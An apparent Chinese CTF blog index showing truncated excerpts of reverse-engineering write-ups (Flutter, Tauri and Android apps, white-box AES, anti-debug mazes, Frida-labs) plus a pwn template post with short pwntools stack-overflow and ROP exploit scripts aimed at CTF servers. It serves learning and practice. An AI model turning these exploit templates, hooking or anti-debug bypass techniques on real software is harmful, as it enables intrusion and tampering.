【Flutter】Flutter初见-.WM-Want2BecomeMagicalGirl
flutterflutter 框架开发的 app,打包后,会将代码打包成 so,而且会将接口请求添加证书校验,防止中间人攻击,普通方法是抓不到包的。无形中增加了逆向的难度,说句题外话,用 Flutter 框架开发,不仅可以跨平台,还增加了安全性👍。 Flutter 框架开发的项目,打包后会生成两个 so,分别是 libapp.so和 libflutter.so,前者是业务相关的,后者是 Flutter 引擎用到的。 用 IDA 打开libapp.so,会发现函数名都被混淆了,这时就要借助开源框架B(l)utter来还原混淆的函数名了。
B(l)utter官网有安装和使用方法,Linux、windows 和 mac 都行
WM-Want2BecomeMagicalGirl.(想要成为马猴烧酒)jadx打开,查看lib,有flutter.so,典型的flutter思维
直接用blutter,利用blutter_dump出来的文件还原部分字符,还原查看有没有关键词。
搜索app的关键词后,明显能看见这是一个aes加密,加密模式为ecb,在dump下来的pp.txt中就有
...
【L3H】【Tauri】easy_android
[L3H]easy_android~~ 题目实际上不难,找到关键词跟进甚至不用管他的逻辑和架构丢给ai一把梭~~基本操作:放进jadx中,跟进逻辑,有load加载native方法,吧lib文件中的so文件用ida打开查看逻辑
java层:先是查看主类,发现是主类直接继承了TauriActivity这个类,疑似使用了tauri框架。(都学过java,别告诉我不知道继承是什么
什么是Taurihttps://github.com/tauri-apps/tauri/
Tauri 是一个多语言且通用的工具包,非常灵活,允许工程师开发各种类型的应用。它用于构建桌面应用程序,结合了 Rust 工具和 Webview 中渲染的 HTML。使用 Tauri 构建的应用可以包含任意数量的可选 JS API/Rust API,以便 Webview 可以通过消息传递控制系统。实际上,开发者可以扩展默认 API 以添加自己的功能,并轻松地桥接 Webview 和基于 Rust 的后端。
Tauri 应用中的用户界面目前利用 tao 作为 macOS、Windows、Linux、Android 和 ...
【AES】aes解密小脚本
aes解密小脚本计算逆s盒
123456789101112131415161718192021222324252627282930313233343536#include <stdio.h>#include <stdint.h>// AES S盒const uint8_t S_BOX[16][16] = {}; int main(){ uint8_t InvS[16][16] = {{0}}; // 逆S盒初始化// 生成逆S盒for (uint8_t i = 0; i < 16; i++){ for (uint8_t j = 0; j < 16; j++) { uint8_t value = S_BOX[i][j]; uint8_t row = value >> 4; // 高4位作为行索引 uint8_t col = value & 0x0F; // ...
【das25上半复现】【白盒AES】白盒aes初识——CTFapp
【das25 上半复现】【白盒 AES】白盒 aes 初识——CTFapp常规流程,发现声明了 native 层方法 check 和 get,去查看 so 文件。根据安装包的名字我们应该查看 arm 架构的 so 可能会好一些。
打开之后又我们发现 JNI_Onload 之中和其他函数有花指令,阻止 ida 的分析,清除花指令之后,我们可以跟到 check 函数中的加密函数处。
其中 s1 就是密文,经历了白盒 aes 加密和 crc 白化,先把密文进行 crc 解密
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123 ...
【Android】【攻防世界】easy-app
【Android】【攻防世界】easy-app一开始想用ida进行动调,但是失败了
丢进jadx发现其主要flag检查逻辑都在native层中
于是就直接去native层查看,有点繁杂,先从check开始查看:最后进行了一次base64
base64是魔改base64,换表+密文换位,加入正常的base密文是0123,这个密文就是2013
所以解base64的时候需要进行换位置然后解正常的base64
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849import base64import structENCODED_STR = "e)n*pNe%PQy!^oS(@HtkUu+Cd$#hmmK&ieytiWwYkIA="TEA_KEY = [0x42, 0x37, 0x2c, 0x21] # 实际是4字节密钥DELTA = 0x9E3779B9# 扩展密钥为4个32位整数 (小端序)k = struct.unpack(&q ...
【R3 复现】Neon Deceit
[R3 复现]Neon Deceit反调试+迷宫+无用数据+无限循环+函数名异常
main 函数就只是一个 helloworld 然后退出,但是 exit 用来混淆逻辑,动调的时候需要把exit给 nop 掉,真正的主要逻辑在下面的sub_18597 中。
跟进后发现伪代码逻辑不全,发现是_verrx混淆逻辑导致输出不全
把_verrx nop 掉重新分析函数,发现有反调试。先将一个加密过的字符串和 0x5A 进行异或,发现是一些 linux 常用调试器/反编译器的名称,分析这是一个基于名称查找的反调试,下面的cimag函数实际是退出函数。
这里也是反调试的一环是一个无限循环,这个无限循环在逻辑中出现多次,调试的时候请务必多加小心
启动调试绕过反调试,经过输入之后,我们会这里的逻辑,其中 var_6980 存放着迷宫地图,var_6970 是存放着输入字符长度的地方,var_6968是var_6970/2可能要进行什么操作
迷宫地图:
123456789101112131415161718192021################################ ...
Frida练习——Frida-labs
Frida 练习——Frida-labs这个项目可以从看 frida 相关视频过渡到实战,没有 ctf 这么难,感觉不看 frida 相关视频直接打这个练习也行。
项目地址: https://github.com/DERE-ad2001/Frida-Labs/tree/main
frida_0x1从应用的界面看这是要你输入一个数字
查看源代码,很容易的看出这是要你找到这个随机数 i
下面的声明的 obj 是要在 app 界面中输入的数字
然后把存有随机数 i 与输入的数字 obj 传到 check 函数中进行检查
在 check 函数中发现输入的 obj 也就是 check 函数声明的 i2
判断条件是(i*2)+4==i2
所以我们要输入的 obj 应该是随机数 i*2+4
这里有两个解法:
解法一:hook get_random这里我们可以直接 hook 掉 get_random 来查看 get_random 生成的随机数
也可以直接返回一个特定值然后按照计算式输入,但是随机数是在程序初始化生成的,所以要在程序初始化时进行注入。
1frida -U - ...
安卓逆向(一)
安卓逆向一、静态初识1.环境安装,直接看正己师傅的52教程就行,面具部分需要Kitsune Mask 直通链接
2.认识Apk结构、双开、汉化和基础修改由于这个教程是22年出的,np管理器没有现在好用,所以正己师傅用的mt和np管理器一起用的。
现在np管理器功能和mt基本没什么区别,所以用mt的部分直接用np管理器就行。
Apk结构
文件
注释
assets目录
存放APK静态文件资源的地方,像视频,音频,图片等
lib目录
armeabi-v7a基本通用所有android设备,arm64-v8a只适用于64位的android设备,x86常见用于android模拟器,其目录下的.so文件是c或c++编译的动态链接库文件
META-INF目录
保存应用的签名信息,签名信息可以验证APK文件的完整性,相当于APK的身份证(验证文件是否又被修改)
res目录
res目录存放资源文件,包括图片,字符串等等,APK的脸蛋由他的layoutt文件设计
AndroidManifest.xml文件
APK的应用清单信息,它描述了应用的名字,版本,权限,引用的库文件等等 ...
pwn常用脚本模板
pwn 常用脚本模板栈溢出脚本
(32 位)
12345from pwn import*p = remote("pwn.challenge.ctf.show",28181) #创建一个远程连接,将程序与指定的主机和端口建立起联系payload = b'a'*9 +b'a'*4+p32(0x0804850F) #地址是后门函数所在的函数开始的地址p.sendline(payload) #将构造好的payload发送到远程连接的目标端点p.interactive()
(64 位)
12345from pwn import*p = remote('node5.buuoj.cn',25079)payload = b'a'*15 +b'a'*8+p64(0x401186)p.sendline(payload)p.interactive()
ROP 脚本
1234567from pwn import*p = remote ...
【cnss】新手教程:断点和异常
【cnss】新手教程:断点和异常
打了一下cnss的新生赛,也是学到了点新东西
__debugbreak__debugbreak是个 api 当发生bug的时候要进行跳转进入到处理函数,这个题的关键就在debugbreak的处理函数中
【cnss】新手教程:断点和异常假的flag骗我感情
查看伪代码
跟进base64
发现这根本不是base64就是个异或
但是要注意这个debugbreak,先下个断点
动调
发现跟进不了debugbreak怎么办呢
先跟进上面的key,
然后再跟进byte_40B0478
发现跟进到的另一个函数
这一大串是将真正的密文计算传到cipher
切换到汇编,注意这里有两个反调试
运行完后就会传到cipher,然后结合之前的key写脚本就可以了
123456789101112enc = [0x2A, 0x22, 0x1C, 0x05, 0x1E, 0x32, 0x0D, 0x07, 0x79, 0x53, 0x09, 0x14, 0x2C, 0x61, 0x0B, 0x12, 0x52, 0x6B, 0x45, 0x05, ...
